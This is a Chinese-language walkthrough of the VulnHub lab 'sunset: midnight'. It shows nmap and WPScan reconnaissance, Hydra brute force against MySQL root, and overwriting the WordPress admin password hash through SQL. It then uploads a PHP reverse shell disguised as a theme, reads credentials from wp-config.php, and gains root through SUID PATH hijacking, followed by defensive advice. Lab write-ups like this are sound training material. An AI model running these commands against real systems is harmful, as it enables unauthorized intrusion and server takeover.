sunset: midnight靶场
sunset: midnight
来自 <sunset: midnight ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.146
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.146
(1) 22/tcp → SSH
- 服务: OpenSSH 7.9p1 (Debian 10 buster 版本)
- 风险点:
- 后续方向:
- 暴力破解 / 密码喷洒(Hydra, Medusa, CrackMapExec)
- 利用已知账户凭据(若从 Web 或 DB 泄露获取)
(2) 80/tcp → HTTP
- 服务: Apache 2.4.38 (Debian 10 自带版本)
- 指纹:
- robots.txt → 存在 /wp-admin/,说明网站是 WordPress
- 标题跳转至 http://sunset-midnight/ → 说明配置了虚拟主机,需要修改 /etc/hosts 添加:
192.168.23.146 sunset-midnight - WordPress 可能存在插件/主题漏洞、弱口令、上传绕过等常见攻击面
- 后续方向:
- WPScan → 扫描用户、插件、主题漏洞
- 查找是否存在 wp-config.php 泄露
- 常见漏洞:XML-RPC 爆破、文件上传、SQL 注入
(3) 3306/tcp → MySQL (MariaDB)
- 服务: MariaDB 10.3.22
- 信息:
- 使用 mysql_native_password 插件认证
- 返回了 salt 值 → 可以尝试暴力破解
- 风险点:
- 默认账号 (root / wordpress / test)
- 弱口令
- 如果数据库未做限制,可能存在远程连接权限
- 后续方向:
- 使用 Hydra/MySQL 客户端进行弱口令尝试
- 如果成功 → dump 出 wp_users 表的 hash,然后破解
- 配合 WordPress → 数据库泄露 → 反推管理员密码
4,首先修改 /etc/hosts 添加:
echo \"192.168.23.146 sunset-midnight\" >>/etc/hosts
然后再访问80端口开设的网站
一眼定真CMS为wordpress,whatweb验证一下
whatweb -v http://sunset-midnight
再扫描其子目录
dirsearch -u http://192.168.23.146 -x 403,404
存在登录页面
http://sunset-midnight/wp-login.php
5,然后再使用wpscan做专门的扫描
wpscan --url http://sunset-midnight/
判断可能存在各种漏洞,接下来再爆破枚举网站用户名
wpscan --url http://sunset-midnight/ -e u
存在一个admin用户,再爆破这个用户密码
wpscan --url http://sunset-midnight/ -P /usr/share/wordlists/rockyou.txt -U admin
admin极有可能是强密码,放弃爆破
6,注意到开放了3306端口,也就是mysql服务,这里也是可以进行弱口令爆破的
hydra 192.168.23.146 mysql -l root -P /usr/share/wordlists/rockyou.txt
直接远程连接数据库
mysql -h 192.168.23.146 -u root -p --skip-ssl
show databases;
use wordpress_db;
show tables;
读取wp_users表所有数据
select * from wp_users;
admin密码被加密成hash值,这里不去爆解它,而是将弱口令同样加密成hash值,然后替换数据表里面的密码,最后就可以以我们可知的弱口令去登录数据库
123456/e10adc3949ba59abbe56e057f20f883e
update wp_users set user_pass=\'e10adc3949ba59abbe56e057f20f883e\' where user_login=\'admin\';
select * from wp_users;
篡改成功,直接登录到wordpress后台
7,尝试上传反弹shell木马到靶机,以获取服务器的控制。这里直接使用kali自带的反弹shell木马,注意修改IP和端口。在appearance->add new ->upload theme进行上传
cp /usr/share/webshells/php/php-reverse-shell.php index.php
需要把shell文件打包成压缩包才能上传
报错原因:
WordPress 的主题安装机制要求 style.css 里有主题头部信息,否则它就不认这个 ZIP 包是个合法主题。
它要解析 style.css 文件最上面的注释块,例如:
/*
Theme Name: Test
Theme URI: Example Domain
Author: Admin
Author URI: Example Domain
Description: A simple shell theme
Version: 1.0
License: GPL
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Text Domain: test
*/
如果 shell.zip 里只是你的 shell.php,没有符合格式的 style.css,就会提示:
The style.css stylesheet doesn’t contain a valid theme header.
上传成功。需要找到这个文件所在位置以触发反弹shell
/wp-content/themes/shell/index.php
与此同时kali打开对4444端口的监听
8,python脚本启动一个可交互shell,然后信息收集
python -c \'import pty;pty.spawn(\"/bin/bash\")\'
有一个普通用户jose,搜索一下关于jose的有用信息
grep -r \"jose\" ./
一般wordpress为框架的网站都习惯性看看数据库配置文件,由此可以找到jose用户的明文密码645dc5a8871d2a4269d4cbe23f6ae103
cat /var/www/html/wordpress/wp-config.php
9,直接ssh登录jose用户
ssh jose@192.168.23.146
查看suid权限的文件以实现提权
find / -perm -u=s -type f 2>/dev/null
然后执行status命令看看,其实是执行service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件
cd /tmp
echo \"/bin/bash\" > service
chmod 777 service
echo $PATH
export PATH=/tmp:$PATH
status
1. 漏洞触发条件
- /usr/bin/status 是一个 SUID root 程序 → 无论谁运行,它都以 root 身份执行。
- 这个程序里调用了 service 命令,但没有写绝对路径,比如:
system(\"service something\"); - 在 Linux 中,当程序调用不带路径的命令时,系统会按照 $PATH 环境变量依次查找。
2. 漏洞利用思路
- 因为 status 以 root 身份执行,所以它调用的 service 也会以 root 权限执行。
- 如果攻击者能控制 $PATH,让系统优先在一个可写目录(如 /tmp)里找到“伪造的 service”,就能劫持执行逻辑。
- 于是你在 /tmp 下创建了一个假的 service 文件,内容是:
/bin/bash - 给它可执行权限,再把 /tmp 放到 $PATH 的最前面:
export PATH=/tmp:$PATH - 当 status 运行时,它调用的其实是你伪造的 /tmp/service → 于是直接以 root 权限执行 /bin/bash。
- 最终你获得了一个 root shell。
3. 提权原理总结
这类提权方式就是 SUID 程序 PATH 劫持漏洞,其本质是:
- 程序用 root 身份执行了一个外部命令(比如 service)。
- 但没有使用绝对路径(如 /usr/sbin/service)。
- 攻击者可以通过修改 $PATH 来劫持该命令的执行路径。
- 因为 SUID 继承了 root 权限,所以伪造命令也以 root 执行,最终拿到 root shell。
4. 防御思路
- 开发 SUID 程序时,永远使用绝对路径调用外部命令。
- 或者在调用前 清空并重设 PATH,防止被攻击者劫持:
setenv(\"PATH\", \"/usr/bin:/bin\", 1);
system(\"/usr/sbin/service ...\"); - 从安全运维角度,定期用
find / -perm -4000 -type f 2>/dev/null
审计系统中的 SUID 文件,排查可疑程序。
一句话总结:
你的提权成功是因为 SUID root 程序调用了未指定绝对路径的命令,攻击者通过 PATH 劫持,将该命令替换成恶意可执行文件,从而获得 root 权限。
成功提权成为root用户,获得flag